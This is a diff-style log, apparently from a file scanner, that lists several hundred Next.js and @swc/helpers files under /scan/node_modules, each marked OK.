+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/parse-component-stack.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/launchEditor.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/launchEditor.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getErrorByType.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/format-webpack-messages.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/runtime-error-handler.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/format-webpack-messages.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-websocket.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-error-handler.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/nodeStackFrames.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-error-handler.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/runtime-error-handler.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/middleware-turbopack.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/shared.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/middleware.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/middleware.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/middleware.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/shared.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/middleware-turbopack.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/middleware-turbopack.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/server/shared.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/shared.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/shared.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/shared.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/bus.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/client.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/client.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/hot-reloader-client.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/ReactDevOverlay.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/ErrorBoundary.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/hot-reloader-client.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/ErrorBoundary.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/websocket.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/hot-reloader-client.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/websocket.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/ErrorBoundary.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/ReactDevOverlay.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/bus.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/ReactDevOverlay.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/bus.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/websocket.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/pages/client.d.ts: OK
+/scan/node_modules/next/dist/client/components/redirect-status-code.d.ts: OK
+/scan/node_modules/next/dist/client/components/static-generation-bailout.d.ts: OK
+/scan/node_modules/next/dist/client/components/promise-queue.js.map: OK
+/scan/node_modules/next/dist/client/components/app-router-headers.js.map: OK
+/scan/node_modules/next/dist/client/components/use-reducer-with-devtools.js.map: OK
+/scan/node_modules/next/dist/client/components/unresolved-thenable.js: OK
+/scan/node_modules/next/dist/client/components/error-boundary.js.map: OK
+/scan/node_modules/next/dist/client/components/match-segments.js.map: OK
+/scan/node_modules/next/dist/client/components/unresolved-thenable.d.ts: OK
+/scan/node_modules/next/dist/client/components/dev-root-not-found-boundary.js.map: OK
+/scan/node_modules/next/dist/client/components/app-router.d.ts: OK
+/scan/node_modules/next/dist/client/components/not-found.js: OK
+/scan/node_modules/next/dist/client/components/dev-root-not-found-boundary.d.ts: OK
+/scan/node_modules/next/dist/client/components/static-generation-async-storage-instance.d.ts: OK
+/scan/node_modules/next/dist/client/components/headers.js: OK
+/scan/node_modules/next/dist/client/components/layout-router.js: OK
+/scan/node_modules/next/dist/client/components/not-found.d.ts: OK
+/scan/node_modules/next/dist/client/components/headers.d.ts: OK
+/scan/node_modules/next/dist/client/components/not-found-error.js.map: OK
+/scan/node_modules/next/dist/client/components/navigation.js: OK
+/scan/node_modules/next/dist/client/components/static-generation-bailout.js: OK
+/scan/node_modules/next/dist/client/components/noop-head.d.ts: OK
+/scan/node_modules/next/dist/client/components/app-router-announcer.d.ts: OK
+/scan/node_modules/next/dist/client/components/request-async-storage-instance.js.map: OK
+/scan/node_modules/next/dist/client/components/is-hydration-error.js.map: OK
+/scan/node_modules/next/dist/client/components/request-async-storage.external.d.ts: OK
+/scan/node_modules/next/dist/client/components/bailout-to-client-rendering.js.map: OK
+/scan/node_modules/next/dist/client/components/navigation.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/app-router.js.map: OK
+/scan/node_modules/next/dist/client/components/bailout-to-client-rendering.js: OK
+/scan/node_modules/next/dist/client/components/error-boundary.d.ts: OK
+/scan/node_modules/next/dist/client/components/draft-mode.js: OK
+/scan/node_modules/next/dist/client/components/redirect-boundary.js: OK
+/scan/node_modules/next/dist/client/components/search-params.d.ts: OK
+/scan/node_modules/next/dist/client/components/search-params.js: OK
+/scan/node_modules/next/dist/client/components/navigation.js.map: OK
+/scan/node_modules/next/dist/client/components/default-layout.js: OK
+/scan/node_modules/next/dist/client/components/match-segments.d.ts: OK
+/scan/node_modules/next/dist/client/components/redirect.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/app-router-announcer.js.map: OK
+/scan/node_modules/next/dist/client/components/app-router-announcer.js: OK
+/scan/node_modules/next/dist/client/components/static-generation-async-storage.external.d.ts: OK
+/scan/node_modules/next/dist/client/components/use-reducer-with-devtools.js: OK
+/scan/node_modules/next/dist/client/components/headers.js.map: OK
+/scan/node_modules/next/dist/client/components/dev-root-not-found-boundary.js: OK
+/scan/node_modules/next/dist/client/components/promise-queue.d.ts: OK
+/scan/node_modules/next/dist/client/components/request-async-storage.external.js.map: OK
+/scan/node_modules/next/dist/client/components/client-page.js: OK
+/scan/node_modules/next/dist/client/components/request-async-storage-instance.js: OK
+/scan/node_modules/next/dist/client/components/search-params.js.map: OK
+/scan/node_modules/next/dist/client/components/render-from-template-context.js.map: OK
+/scan/node_modules/next/dist/client/components/is-hydration-error.js: OK
+/scan/node_modules/next/dist/client/components/parallel-route-default.js: OK
+/scan/node_modules/next/dist/client/components/redirect-status-code.js.map: OK
+/scan/node_modules/next/dist/client/components/async-local-storage.d.ts: OK
+/scan/node_modules/next/dist/client/components/redirect.d.ts: OK
+/scan/node_modules/next/dist/client/components/static-generation-bailout.js.map: OK
+/scan/node_modules/next/dist/client/components/draft-mode.d.ts: OK
+/scan/node_modules/next/dist/client/components/client-page.js.map: OK
+/scan/node_modules/next/dist/client/components/request-async-storage-instance.d.ts: OK
+/scan/node_modules/next/dist/client/components/async-local-storage.js.map: OK
+/scan/node_modules/next/dist/client/components/request-async-storage.external.js: OK
+/scan/node_modules/next/dist/client/components/is-next-router-error.js: OK
+/scan/node_modules/next/dist/client/components/draft-mode.js.map: OK
+/scan/node_modules/next/dist/client/components/navigation.react-server.js.map: OK
+/scan/node_modules/next/dist/client/components/parallel-route-default.js.map: OK
+/scan/node_modules/next/dist/client/performance-relayer-app.d.ts: OK
+/scan/node_modules/next/dist/client/web-vitals.d.ts: OK
+/scan/node_modules/next/dist/client/app-call-server.d.ts: OK
+/scan/node_modules/next/dist/client/app-next.js.map: OK
+/scan/node_modules/next/dist/client/resolve-href.js.map: OK
+/scan/node_modules/next/dist/client/router.js: OK
+/scan/node_modules/next/dist/client/normalize-locale-path.js.map: OK
+/scan/node_modules/next/dist/client/app-call-server.js.map: OK
+/scan/node_modules/next/dist/client/app-link-gc.d.ts: OK
+/scan/node_modules/next/dist/client/has-base-path.js: OK
+/scan/node_modules/next/dist/client/route-loader.d.ts: OK
+/scan/node_modules/next/dist/client/next.js: OK
+/scan/node_modules/next/dist/client/app-index.d.ts: OK
+/scan/node_modules/next/dist/client/route-loader.js: OK
+/scan/node_modules/next/dist/client/head-manager.js: OK
+/scan/node_modules/next/dist/client/route-announcer.js.map: OK
+/scan/node_modules/next/dist/client/app-next.d.ts: OK
+/scan/node_modules/next/dist/client/link.js.map: OK
+/scan/node_modules/next/dist/client/on-recoverable-error.js.map: OK
+/scan/node_modules/next/dist/client/page-bootstrap.js: OK
+/scan/node_modules/next/dist/client/app-next-dev.d.ts: OK
+/scan/node_modules/next/dist/client/add-locale.d.ts: OK
+/scan/node_modules/next/dist/client/app-bootstrap.d.ts: OK
+/scan/node_modules/next/dist/client/route-announcer.d.ts: OK
+/scan/node_modules/next/dist/client/index.js.map: OK
+/scan/node_modules/next/dist/client/remove-base-path.d.ts: OK
+/scan/node_modules/next/dist/client/performance-relayer-app.js.map: OK
+/scan/node_modules/next/dist/client/with-router.js.map: OK
+/scan/node_modules/next/dist/client/dev/hot-middleware-client.d.ts: OK
+/scan/node_modules/next/dist/client/dev/noop-turbopack-hmr.js: OK
+/scan/node_modules/next/dist/client/dev/hot-middleware-client.js.map: OK
+/scan/node_modules/next/dist/client/dev/amp-dev.js.map: OK
+/scan/node_modules/next/dist/client/dev/amp-dev.d.ts: OK
+/scan/node_modules/next/dist/client/dev/error-overlay/websocket.d.ts: OK
+/scan/node_modules/next/dist/client/dev/error-overlay/websocket.js: OK
+/scan/node_modules/next/dist/client/dev/error-overlay/websocket.js.map: OK
+/scan/node_modules/next/dist/client/dev/fouc.d.ts: OK
+/scan/node_modules/next/dist/client/dev/fouc.js.map: OK
+/scan/node_modules/next/dist/client/dev/dev-build-watcher.d.ts: OK
+/scan/node_modules/next/dist/client/dev/noop-turbopack-hmr.d.ts: OK
+/scan/node_modules/next/dist/client/dev/amp-dev.js: OK
+/scan/node_modules/next/dist/client/dev/hot-middleware-client.js: OK
+/scan/node_modules/next/dist/client/dev/on-demand-entries-client.d.ts: OK
+/scan/node_modules/next/dist/client/dev/fouc.js: OK
+/scan/node_modules/next/dist/client/dev/noop-turbopack-hmr.js.map: OK
+/scan/node_modules/next/dist/client/dev/dev-build-watcher.js: OK
+/scan/node_modules/next/dist/client/dev/dev-build-watcher.js.map: OK
+/scan/node_modules/next/dist/client/dev/on-demand-entries-client.js.map: OK
+/scan/node_modules/next/dist/client/dev/on-demand-entries-client.js: OK
+/scan/node_modules/next/dist/client/add-base-path.js.map: OK
+/scan/node_modules/next/dist/client/request-idle-callback.d.ts: OK
+/scan/node_modules/next/dist/client/app-next-dev.js: OK
+/scan/node_modules/next/dist/client/request-idle-callback.js: OK
+/scan/node_modules/next/dist/client/add-base-path.js: OK
+/scan/node_modules/next/dist/client/resolve-href.d.ts: OK
+/scan/node_modules/next/dist/client/router.d.ts: OK
+/scan/node_modules/next/dist/client/script.js.map: OK
+/scan/node_modules/next/dist/client/detect-domain-locale.js.map: OK
+/scan/node_modules/next/dist/client/next-dev-turbopack.js: OK
+/scan/node_modules/next/dist/client/page-bootstrap.js.map: OK
+/scan/node_modules/next/dist/client/app-next-turbopack.d.ts: OK
+/scan/node_modules/next/dist/client/page-loader.js: OK
+/scan/node_modules/next/dist/client/detect-domain-locale.d.ts: OK
+/scan/node_modules/next/dist/client/next.js.map: OK
+/scan/node_modules/next/dist/client/normalize-locale-path.js: OK
+/scan/node_modules/next/dist/client/app-next-turbopack.js.map: OK
+/scan/node_modules/next/dist/client/page-loader.js.map: OK
+/scan/node_modules/next/dist/client/index.d.ts: OK
+/scan/node_modules/next/dist/client/request-idle-callback.js.map: OK
+/scan/node_modules/next/dist/client/next-dev.js.map: OK
+/scan/node_modules/next/dist/client/app-index.js: OK
+/scan/node_modules/next/dist/client/page-bootstrap.d.ts: OK
+/scan/node_modules/next/dist/client/link.d.ts: OK
+/scan/node_modules/next/dist/client/has-base-path.js.map: OK
+/scan/node_modules/next/dist/client/use-intersection.d.ts: OK
+/scan/node_modules/next/dist/client/remove-base-path.js: OK
+/scan/node_modules/next/dist/client/web-vitals.js: OK
+/scan/node_modules/next/dist/client/normalize-locale-path.d.ts: OK
+/scan/node_modules/next/dist/client/get-domain-locale.d.ts: OK
+/scan/node_modules/next/dist/client/image-component.d.ts: OK
+/scan/node_modules/next/dist/client/app-webpack.d.ts: OK
+/scan/node_modules/next/dist/client/image-component.js.map: OK
+/scan/node_modules/next/dist/client/page-loader.d.ts: OK
+/scan/node_modules/next/dist/client/with-router.d.ts: OK
+/scan/node_modules/next/dist/client/remove-locale.d.ts: OK
+/scan/node_modules/next/dist/client/add-base-path.d.ts: OK
+/scan/node_modules/next/dist/src/compiled/@ampproject/toolbox-optimizer/LICENSE: OK
+/scan/node_modules/next/dist/src/compiled/@ampproject/toolbox-optimizer/package.json: OK
+/scan/node_modules/next/cache.js: OK
+/scan/node_modules/next/amp.js: OK
+/scan/node_modules/next/jest.js: OK
+/scan/node_modules/next/server.js: OK
+/scan/node_modules/next/head.d.ts: OK
+/scan/node_modules/next/navigation-types/compat/navigation.d.ts: OK
+/scan/node_modules/next/config.d.ts: OK
+/scan/node_modules/next/link.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/LICENSE: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_write_only_error.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_define_property.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_wrap_native_super.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_object_spread_props.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_non_iterable_spread.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_to_property_key.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_to_primitive.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_object_without_properties.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_decorate.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_apply_descriptor_update.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_ts_metadata.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_method_init.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_new_arrow_check.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_create_class.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_sliced_to_array.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_field_init.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_async_generator.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_array_without_holes.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_wrap_async_generator.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_ts_decorate.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_set_prototype_of.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_instanceof.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_field_set.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_static_private_field_update.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_using.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_tagged_template_literal_loose.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_set.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_static_private_field_destructure.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_ts_param.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_method_set.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_await_async_generator.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_check_private_redeclaration.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_iterable_to_array_limit.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_extends.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_object_without_properties_loose.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_to_array.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/index.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_method_get.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_object_destructuring_empty.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_field_get.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_object_spread.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_initializer_warning_helper.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_async_generator_delegate.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_assert_this_initialized.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_get.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_apply_decorated_descriptor.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_array_with_holes.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_iterable_to_array_limit_loose.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_initializer_define_property.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_iterable_to_array.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_await_value.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_call_check.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_array_like_to_array.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_tagged_template_literal.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_throw.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_inherits_loose.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_update.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_unsupported_iterable_to_array.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_interop_require_wildcard.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_check_private_static_field_descriptor.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_is_native_function.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_async_iterator.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_field_loose_key.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_is_native_reflect_construct.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_define_enumerable_properties.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_construct.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_sliced_to_array_loose.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_non_iterable_rest.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_ts_generator.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_static_private_field_spec_set.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_field_update.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_export_star.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_super_prop_base.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_interop_require_default.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_apply_descriptor_get.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_defaults.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_static_private_method_get.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_jsx.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_get_prototype_of.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_type_of.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_apply_descriptor_destructure.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_apply_descriptor_set.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_field_destructure.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_extract_field_descriptor.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_ts_values.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_dispose.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_inherits.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_skip_first_generator_next.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_read_only_error.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_private_field_loose_base.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_static_private_field_spec_get.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_create_super.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_create_for_of_iterator_helper_loose.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_async_to_generator.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_possible_constructor_return.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_name_tdz_error.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_apply_decs_2203_r.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_class_check_private_static_access.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/esm/_to_consumable_array.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_using/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_call_check/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_ts_param/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_method_init/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_new_arrow_check/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_field_loose_base/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_initializer_define_property/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_construct/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_array_with_holes/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_set/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_object_without_properties/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_unsupported_iterable_to_array/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_write_only_error/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_ts_generator/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_apply_descriptor_destructure/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_static_private_field_destructure/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_read_only_error/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_create_class/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_check_private_static_field_descriptor/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_async_to_generator/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_async_iterator/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_instanceof/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_field_destructure/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_ts_values/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_method_get/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_iterable_to_array/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_static_private_field_spec_set/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_jsx/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_create_super/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_field_set/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_to_array/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_name_tdz_error/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_inherits/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_non_iterable_rest/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_possible_constructor_return/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_tagged_template_literal_loose/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_array_without_holes/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_apply_descriptor_get/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_apply_descriptor_update/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_non_iterable_spread/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_check_private_redeclaration/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_dispose/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_interop_require_wildcard/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_export_star/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_set_prototype_of/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_iterable_to_array_limit_loose/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_wrap_async_generator/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_to_primitive/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_field_init/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_field_loose_key/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_ts_decorate/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_get_prototype_of/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_sliced_to_array/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_field_get/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_ts_metadata/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_apply_decs_2203_r/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_decorate/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_create_for_of_iterator_helper_loose/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_static_private_method_get/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_method_set/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_static_private_field_spec_get/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_iterable_to_array_limit/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_object_destructuring_empty/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_object_spread/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_interop_require_default/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_initializer_warning_helper/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_get/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_is_native_function/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/index/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_to_consumable_array/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_to_property_key/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_wrap_native_super/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_apply_decorated_descriptor/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_super_prop_base/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_async_generator/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_define_enumerable_properties/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_static_private_field_update/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_skip_first_generator_next/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_await_async_generator/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_tagged_template_literal/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_inherits_loose/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_check_private_static_access/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_object_spread_props/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_throw/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_defaults/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_object_without_properties_loose/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_define_property/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_extract_field_descriptor/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_sliced_to_array_loose/package.json: OK
